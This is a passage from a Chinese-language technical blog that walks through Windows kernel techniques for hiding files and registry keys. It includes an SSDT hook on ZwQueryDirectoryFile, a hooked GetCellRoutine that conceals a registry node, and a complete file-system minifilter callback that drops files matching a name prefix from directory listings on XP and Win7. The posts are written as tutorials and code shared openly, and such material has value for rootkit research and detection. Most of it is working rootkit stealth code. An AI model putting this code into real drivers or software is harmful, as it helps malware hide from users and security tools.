        {
          pLastFileInfo->NextEntryOffset = 0;
          break;
        } 
        else
        {
          
          iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
          iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
          RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
          continue;
        }
      }
      pLastFileInfo = pFileInfo;
      KdPrint(("%X",pFileInfo->NextEntryOffset));
      pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
      
    }while(!bLastOne);
    RtlFreeAnsiString(&ansiDirName); 
    RtlFreeAnsiString(&ansiFileName);
  }

这段代码难于理解的地方,个人认为是这三句:
iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );

还是画个图来说吧:
 点击图片以查看大图

图片名称:   222.png
查看次数:   10
文件大小:   13.4 KB
文件 ID : 84522
现在要保护的文件假设是FileC,那么当查询到这个文件的时候怎么办呢?就是把指针移动到后面一个去。但是这个结构比双链表要复杂得多,所以不能像上面进程隐藏那么改了,这段代码是把后面的指针内容直接复制覆盖 FileC的指针。
iPos:前面已经走过的路的长度。
pFileInfo->NextEntryOffset:要隐藏文件到下一个文件的相对距离
iLeft:除去要隐藏的文件之后要走的路的长度
注册表隐藏
原理:上面的链接中原理已经被大牛说得很清楚了,我只谈下我理解了很久的地方
具体方法:1、通过注册表句柄,得到对象体
     2、通过对象体,得到KeyControlBlock
     3、通过KCB,得到GetCellRoutine函数
     4、hook GetCellRoutine 函数
     5、判断节点是否为要隐藏节点,如果是则返回最后一个节点。
贴一段代码:
具体方法:1、ssdt hook ZwQueryDirectoryFile函数
     2、获取FILE_BOTH_DIR_INFORMATION结构,对比要隐藏的文件名
     3、修改指针,使其跳过隐藏文件
实现:
1、ssdt hook就不用说了,大家都会
2、调用原来的ZwQueryDirectoryFile,获取FILE_BOTH_DIR_INFORMATION结构。
3、贴一段代码吧:

PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
  // 调用原函数
  
  PVOID pRet = g_pGetCellRoutine(Hive, Cell);

  if (pRet)
  {
    // 返回的是需要隐藏的节点
    if (pRet == g_HideNode)
    {
      DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
      // 查询、保存并返回其父键的最后一个子键的节点
      pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
      DbgPrint("g_LastNode = %lx\n", g_LastNode);
      // 隐藏的正是最后一个节点,返回空值
      if (pRet == g_HideNode) pRet = NULL;
    }
    // 返回的是先前保存的最后一个节点
    else if (pRet == g_LastNode)
    {
      DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
      // 清空保存值,并返回空值
      //pRet = g_LastNode = NULL;
    }
  }
  return pRet;
}

问题:1、遇到要隐藏的节点,为什么要返回最后一个节点?
答:遇到要隐藏的节点,如果直接返回NULL,那么后面的节点就无法列出了。
   2、遇到最后一个节点,为什么要返回NULL。
答:前面遇到要隐藏的节点时返回了最后一个节点,如果再返回,会出现两个最后一个节点。如图:
名称:  333.png
查看次数: 1
文件大小:  3.5 KB
 这种效果不是你新建一个同名项就能达到的哦。 

参考文章:
http://bbs.pediy.com/showthread.php?t=64728    进程隐藏
http://bbs.pediy.com/showthread.php?t=63629    文件隐藏
http://bbs.pediy.com/showthread.php?t=63540    注册表隐藏

1.http://www.codeproject.com/Articles/32744/Driver-to-Hide-Processes-and-Files

2.http://www.codeproject.com/Articles/167583/Driver-to-Hide-Processes-and-Files-Second-Edition

3.http://www.codeproject.com/Articles/444995/Driver-to-hide-files-in-Linux-OS

4.http://www.codeproject.com/Articles/66305/Simple-SST-Unhooker

驱动隐藏文件夹的实现(支持Win7)

发布时间:April 26, 2015 // 分类:代码学习,VC/C/C++,windows // No Comments

刚完成一个利用驱动隐藏文件夹的程序,隐藏文件的类似,现在贴出来共享给大家。

代码相对比较简单,我是在别人代码的基础上改的。

因为现在在网上找到的代码都是不支持XP以上版本的,所以我在别人代码的基础上添加了XP以上版本的支持。

现在该代码同时支持XP以下及XP以上版本(本人仅测试XP和Win7)。

利用驱动实现文件的隐藏主要是在IRP_MJ_DIRECTORY_CONTROL的后操作回调函数中处理其输入参数FLT_CALLBACK_DATA结构中的缓冲区数据。

该缓冲地址的获取是重点,Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer(或MdlAddress)

网上现有代码不支持XP以上版本的原因是Vista或Win7返回的FileInformationClass结构不再是FileBothDirectoryInformation,而是FileIdBothDirectoryInformation

【注】虽然利用驱动隐藏文件无法利用“显示隐藏文件”查看,但文件实际仍存在,通过路径仍然可以访问。

实现代码如下:

//实现目录隐藏,支持XP及以上版本 JiaSong[2010-11-1] 
FLT_POSTOP_CALLBACK_STATUS
HideFilePostDirCtrl (
    __inout PFLT_CALLBACK_DATA Data,
    __in PCFLT_RELATED_OBJECTS FltObjects,
    __in_opt PVOID CompletionContext,
    __in FLT_POST_OPERATION_FLAGS Flags 
)
{
    ULONG nextOffset = 0;
    int modified = 0;
    int removedAllEntries = 1;    
 
    PFILE_BOTH_DIR_INFORMATION currentFileInfo = 0;     
     PFILE_BOTH_DIR_INFORMATION nextFileInfo = 0;    
     PFILE_BOTH_DIR_INFORMATION previousFileInfo = 0;    
      
     PFILE_ID_BOTH_DIR_INFORMATION currentFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION nextFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION previousFileIdInfo = 0;
     
    UNREFERENCED_PARAMETER( FltObjects );
    UNREFERENCED_PARAMETER( CompletionContext );    
 
    //不满足过滤条件的直接放过 
    if( FlagOn( Flags, FLTFL_POST_OPERATION_DRAINING ) || 
        Data->Iopb->MinorFunction != IRP_MN_QUERY_DIRECTORY ||
        Data->Iopb->Parameters.DirectoryControl.QueryDirectory.Length <= 0 ||
        !NT_SUCCESS(Data->IoStatus.Status))
    {
        return FLT_POSTOP_FINISHED_PROCESSING;
    }
    //XP及其以下版本,需要过滤 FileBothDirectoryInformation 类型的信息 
    if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass == FileBothDirectoryInformation)
    {
        //我们可以得到一个缓存区,这个缓存里面就保留着文件夹中所有的文件信息。
        //根据这个缓存的结构遍历处理,过滤掉要隐藏的文件名就能达到隐藏的目的了 
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {//缓存地址
            currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {//缓存地址
             currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;       
        previousFileInfo = currentFileInfo;
             
        do
        {
            //Byte offset of the next FILE_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileInfo->NextEntryOffset;
            //后继结点指针 
            nextFileInfo = (PFILE_BOTH_DIR_INFORMATION)((PCHAR)(currentFileInfo) + nextOffset);            
 
            KdPrint(("1.FileName: %S, ShortName: %S\n",currentFileInfo->FileName,currentFileInfo->ShortName));
            if(_wcsnicmp(currentFileInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("1.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileInfo->NextEntryOffset = 0;
                }
                else
                {//更改前驱结点中指向下一结点的偏移量,略过要隐藏的文件的文件结点,达到隐藏目的 
                    previousFileInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileInfo - (PCHAR)previousFileInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;
                //前驱结点指针后移 
                previousFileInfo = currentFileInfo;
            }
            //当前指针后移          
            currentFileInfo = nextFileInfo;
        } while( nextOffset != 0 );
    }
    //vista或win7返回的结构不再是FileBothDirectoryInformation.而是FileIdBothDirectoryInformation
    else if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass ==FileIdBothDirectoryInformation)
    {
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {
            currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {
             currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileIdInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;
        previousFileIdInfo = currentFileIdInfo;
             
        do
        {
            //Byte offset of the next FILE_ID_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileIdInfo->NextEntryOffset;            
               nextFileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)((PCHAR)(currentFileIdInfo) + nextOffset);            
 
            KdPrint(("2.FileName: %S, ShortName: %S\n",currentFileIdInfo->FileName,currentFileIdInfo->ShortName));
            if(_wcsnicmp(currentFileIdInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("2.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileIdInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileIdInfo->NextEntryOffset = 0;
                }
                else
                {
                    previousFileIdInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileIdInfo - (PCHAR)previousFileIdInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;                
                previousFileIdInfo = currentFileIdInfo;                
            }
            currentFileIdInfo = nextFileIdInfo;
             
        } while( nextOffset != 0 );
    }
    if( modified )
    {
        if( removedAllEntries )
         {
              Data->IoStatus.Status = STATUS_NO_MORE_FILES;
          }
           else
           {
            FltSetCallbackDataDirty( Data );
        }
    }        
    return FLT_POSTOP_FINISHED_PROCESSING;
}

注意以上代码使用的是宏开关,只是在编译时起作用,而非运行时。要想XP和win7都可以正常隐藏文件目录需要分别编译。

要想XP和win7同时起作用,需要去掉宏开关,然后把HideFilePostDirCtrl 改成一下代码

//实现目录隐藏,支持XP及以上版本 JiaSong[2010-11-1] 
FLT_POSTOP_CALLBACK_STATUS
HideFilePostDirCtrl (
    __inout PFLT_CALLBACK_DATA Data,
    __in PCFLT_RELATED_OBJECTS FltObjects,
    __in_opt PVOID CompletionContext,
    __in FLT_POST_OPERATION_FLAGS Flags 
)
{
    ULONG nextOffset = 0;
    int modified = 0;
    int removedAllEntries = 1;    
    PFILE_BOTH_DIR_INFORMATION currentFileInfo = 0;     
     PFILE_BOTH_DIR_INFORMATION nextFileInfo = 0;    
     PFILE_BOTH_DIR_INFORMATION previousFileInfo = 0;    
      
     PFILE_ID_BOTH_DIR_INFORMATION currentFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION nextFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION previousFileIdInfo = 0;
     
    UNREFERENCED_PARAMETER( FltObjects );
    UNREFERENCED_PARAMETER( CompletionContext );    
    //不满足过滤条件的直接放过 
    if( FlagOn( Flags, FLTFL_POST_OPERATION_DRAINING ) || 
        Data->Iopb->MinorFunction != IRP_MN_QUERY_DIRECTORY ||
        Data->Iopb->Parameters.DirectoryControl.QueryDirectory.Length <= 0 ||
        !NT_SUCCESS(Data->IoStatus.Status))
    {
        return FLT_POSTOP_FINISHED_PROCESSING;
    }
    //XP及其以下版本,需要过滤 FileBothDirectoryInformation 类型的信息 
    if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass == FileBothDirectoryInformation)
    {
        //我们可以得到一个缓存区,这个缓存里面就保留着文件夹中所有的文件信息。
        //根据这个缓存的结构遍历处理,过滤掉要隐藏的文件名就能达到隐藏的目的了 
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {//缓存地址
            currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {//缓存地址
             currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;       
        previousFileInfo = currentFileInfo;
             
        do
        {
            //Byte offset of the next FILE_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileInfo->NextEntryOffset;
            //后继结点指针 
            nextFileInfo = (PFILE_BOTH_DIR_INFORMATION)((PCHAR)(currentFileInfo) + nextOffset);            
            KdPrint(("1.FileName: %S, ShortName: %S\n",currentFileInfo->FileName,currentFileInfo->ShortName));
            if(_wcsnicmp(currentFileInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("1.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileInfo->NextEntryOffset = 0;
                }
                else
                {//更改前驱结点中指向下一结点的偏移量,略过要隐藏的文件的文件结点,达到隐藏目的 
                    previousFileInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileInfo - (PCHAR)previousFileInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;
                //前驱结点指针后移 
                previousFileInfo = currentFileInfo;
            }
            //当前指针后移          
            currentFileInfo = nextFileInfo;
        } while( nextOffset != 0 );
    }
    //vista或win7返回的结构不再是FileBothDirectoryInformation.而是FileIdBothDirectoryInformation
    else if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass ==FileIdBothDirectoryInformation)
    {
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {
            currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {
             currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileIdInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;
        previousFileIdInfo = currentFileIdInfo;
             
        do
        {
            //Byte offset of the next FILE_ID_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileIdInfo->NextEntryOffset;            
               nextFileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)((PCHAR)(currentFileIdInfo) + nextOffset);            
            KdPrint(("2.FileName: %S, ShortName: %S\n",currentFileIdInfo->FileName,currentFileIdInfo->ShortName));
            if(_wcsnicmp(currentFileIdInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("2.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileIdInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileIdInfo->NextEntryOffset = 0;
                }
                else
                {
                    previousFileIdInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileIdInfo - (PCHAR)previousFileIdInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;                
                previousFileIdInfo = currentFileIdInfo;                
            }
            currentFileIdInfo = nextFileIdInfo;
             
        } while( nextOffset != 0 );
    }
    if( modified )
    {
        if( removedAllEntries )
         {
              Data->IoStatus.Status = STATUS_NO_MORE_FILES;
          }
           else
           {
            FltSetCallbackDataDirty( Data );
        }
    }        
    return FLT_POSTOP_FINISHED_PROCESSING;
}

 

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...